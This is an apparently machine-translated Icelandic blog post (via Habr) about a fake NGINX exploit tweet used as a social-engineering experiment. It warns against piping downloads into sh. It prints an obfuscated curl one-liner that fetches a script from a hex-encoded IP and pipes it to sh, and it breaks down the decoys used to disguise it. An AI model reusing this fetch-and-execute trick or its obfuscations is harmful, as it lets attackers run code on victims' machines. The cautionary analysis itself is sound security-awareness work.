Árangur félagslegrar tilraunar með falsa hetjudáð fyrir nginx

Athugið. þýð.: Höfundur upphaflegri athugasemd, sem birt var 1. júní, var ákveðið að gera tilraun meðal áhugamanna um upplýsingaöryggi. Til að gera þetta útbjó hann falsa hetjudáð fyrir óupplýst varnarleysi á vefþjóninum og birti það á Twitter sínu. Forsendur hans - að verða samstundis afhjúpaðar af sérfræðingum sem myndu sjá augljósu blekkingarnar í kóðanum - rættust ekki aðeins... Þær fóru fram úr öllum væntingum, og í gagnstæða átt: kvakið fékk gríðarlegan stuðning frá fjölmörgum sem ekki gerðu það. athugaðu innihald þess.

Árangur félagslegrar tilraunar með falsa hetjudáð fyrir nginx

TL;DR: Ekki nota skráarleiðslur í sh eða bash undir neinum kringumstæðum. Þetta er frábær leið til að missa stjórn á tölvunni þinni.

Mig langar að deila með ykkur smásögu um grínisti PoC hetjudáð sem var búið til 31. maí. Hann birtist strax sem svar við fréttum frá Alisa Esage Shevchenko, meðlimur Núll dags frumkvæði (ZDI), að upplýsingar um varnarleysi í NGINX sem leiðir til RCE (fjarútgerðar kóða) verða brátt birtar. Þar sem NGINX knýr margar vefsíður, hljóta fréttirnar að hafa verið sprengja. En vegna tafa á „ábyrgri birtingu“ ferlinu voru upplýsingar um hvað gerðist ekki þekktar - þetta er staðlað ZDI aðferð.

Árangur félagslegrar tilraunar með falsa hetjudáð fyrir nginx
kvak um upplýsingagjöf um varnarleysi í NGINX

Eftir að hafa lokið við að vinna að nýrri þokutækni í krullu vitnaði ég í upprunalega kvakið og „leki virka PoC“ sem samanstendur af einni línu af kóða sem á að nýta sér varnarleysið sem uppgötvaðist. Þetta var auðvitað algjört bull. Ég gerði ráð fyrir að ég yrði strax afhjúpaður og að í besta falli fengi ég nokkra retweets (jæja).

Árangur félagslegrar tilraunar með falsa hetjudáð fyrir nginx
kvak með fölsuðum misnotkun

Hins vegar gat ég ekki ímyndað mér hvað gerðist næst. Vinsældir kvaksins míns jukust. Það kemur á óvart að í augnablikinu (15:00 að Moskvutíma 1. júní) hafa fáir áttað sig á því að þetta er falsað. Margir endurtísa því án þess að athuga það yfirleitt (hvað þá að dást að yndislegu ASCII grafíkinni sem það gefur frá sér).

Árangur félagslegrar tilraunar með falsa hetjudáð fyrir nginx
Sjáðu bara hvað það er fallegt!

Þó að allar þessar lykkjur og litir séu frábærir, þá er ljóst að fólk þurfti að keyra kóða á vélinni sinni til að sjá þá. Sem betur fer virka vafrar á sama hátt og ásamt því að ég vildi ekki lenda í lagalegum vandræðum, kóðinn sem var grafinn á síðunni minni var bara að hringja í bergmál án þess að reyna að setja upp eða keyra viðbótarkóða.

Lítil frávik: nett spooky, dnz, ég og hinir strákarnir úr liðinu Thugcrowd Við höfum verið að leika okkur með mismunandi leiðir til að hylja krulluskipanir í nokkurn tíma því það er flott... og við erum nördar. netspooky og dnz uppgötvuðu nokkrar nýjar aðferðir sem mér þóttu mjög vænlegar. Ég tók þátt í gleðinni og prófaði að bæta IP-tugabrotum í töfrapokann. Það kemur í ljós að IP er einnig hægt að breyta yfir í sextánda snið. Þar að auki, curl og flest önnur NIX verkfæri borða hamingjusamlega sextánda IP-tölu! Svo það var bara spurning um að búa til sannfærandi og örugga skipanalínu. Á endanum settist ég að þessu:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Félags-rafræn verkfræði (SEE) er meira en bara vefveiðar

Öryggi og kunnugleiki var stór hluti af þessari tilraun. Ég held að þeir hafi verið það sem leiddu til velgengni hans. Skipanalínan gaf greinilega í skyn öryggi með því að vísa til "127.0.0.1" (vel þekkta staðbundinn gestgjafi). Localhost er talið öruggt og gögnin á honum fara aldrei úr tölvunni þinni.

Þekking var annar lykilþáttur SEE tilraunarinnar. Þar sem markhópurinn samanstóð fyrst og fremst af fólki sem þekkti undirstöðuatriði tölvuöryggis var mikilvægt að búa til kóða þannig að hluti hans virtist kunnuglegur og kunnuglegur (og þar af leiðandi öruggur). Það hefur reynst mjög vel að fá lánaða þætti úr gömlum nytjahugmyndum og sameina þau á óvenjulegan hátt.

Hér að neðan er ítarleg greining á einlínunni. Allt á þessum lista klæðist snyrtilegt eðli, og nánast ekkert þarf fyrir raunverulegan rekstur þess.

Hvaða íhlutir eru raunverulega nauðsynlegir? Þetta -gsS, -O 0x0238f06a, |sh og vefþjóninn sjálfan. Vefþjónninn innihélt engar skaðlegar leiðbeiningar heldur þjónaði einfaldlega ASCII grafík með skipunum echo í handritinu sem er að finna í index.html. Þegar notandi kom inn í línu með |sh í miðjunni, index.html hlaðið og framkvæmt. Sem betur fer höfðu forráðamenn vefþjónsins ekkert illt í hyggju.

  • ../../../%00 — táknar að fara út fyrir skrána;
  • ngx_stream_module.so — leið að handahófskenndri NGINX mát;
  • /bin/sh%00<'protocol:TCP' - við erum sem sagt að hefjast handa /bin/sh á markvélinni og beina úttakinu á TCP rásina;
  • -O 0x0238f06a#PLToffset - leyndarmál innihaldsefni, bætt við #PLToffset, til að líta út eins og minnisjöfnun sem er einhvern veginn í PLT;
  • |sh; - annað mikilvægt brot. Við þurftum að beina úttakinu yfir á sh/bash til að keyra kóðann sem kemur frá árásarvefþjóninum sem staðsettur er á 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - dúlla sem netkötturinn vísar til /dev/tcp/localhostþannig að allt lítur út aftur öruggt. Reyndar gerir það ekkert og er innifalið í línunni fyrir fegurð.

Þetta lýkur afkóðun einlínu handritsins og umfjöllun um þætti „félags-rafræns verkfræði“ (flókinn vefveiðar).

Uppsetning vefþjóns og mótvægisaðgerðir

Þar sem langflestir áskrifenda mínir eru infosec/hackerar ákvað ég að gera vefþjóninn aðeins ónæmari fyrir "áhugatilkynningum" af þeirra hálfu, bara til að krakkarnir hefðu eitthvað að gera (og það væri gaman að sett upp). Ég ætla ekki að telja upp allar gildrurnar hér þar sem tilraunin er enn í gangi, en hér eru nokkur atriði sem þjónninn gerir:

  • Fylgist virkt með dreifingartilraunum á tilteknum samfélagsnetum og kemur í staðinn fyrir ýmsar smámyndir til að hvetja notandann til að smella á hlekkinn.
  • Framsendir Chrome/Mozilla/Safari/etc yfir á Thugcrowd kynningarmyndbandið í stað þess að sýna skeljahandritið.
  • Horfir á AUGLÝSUM merki um afskipti/glæsilegt innbrot og byrjar síðan að beina beiðnum til NSA netþjóna (ha!).
  • Setur upp tróju, sem og BIOS rootkit, á öllum tölvum þar sem notendur heimsækja hýsilinn úr venjulegum vafra (að grínast!).

Árangur félagslegrar tilraunar með falsa hetjudáð fyrir nginx
Lítill hluti af antimers

Í þessu tilfelli var eina markmið mitt að ná tökum á sumum eiginleikum Apache - sérstaklega flottu reglurnar um að beina beiðnum áfram - og ég hugsaði: hvers vegna ekki?

NGINX hagnýting (alvöru!)

Gerast áskrifandi að @alisaesage á Twitter og fylgdu frábæru starfi ZDI við að taka á mjög raunverulegum veikleikum og nýta tækifæri í NGINX. Verk þeirra hafa alltaf heillað mig og ég er þakklátur Alice fyrir þolinmæði hennar með öllum þeim ummælum og tilkynningum sem heimskulega tístið mitt olli. Sem betur fer gerði það líka gott: það hjálpaði til við að vekja athygli á NGINX veikleikum, sem og vandamálum af völdum misnotkunar á krullu.

Heimild: www.habr.com

Bæta við athugasemd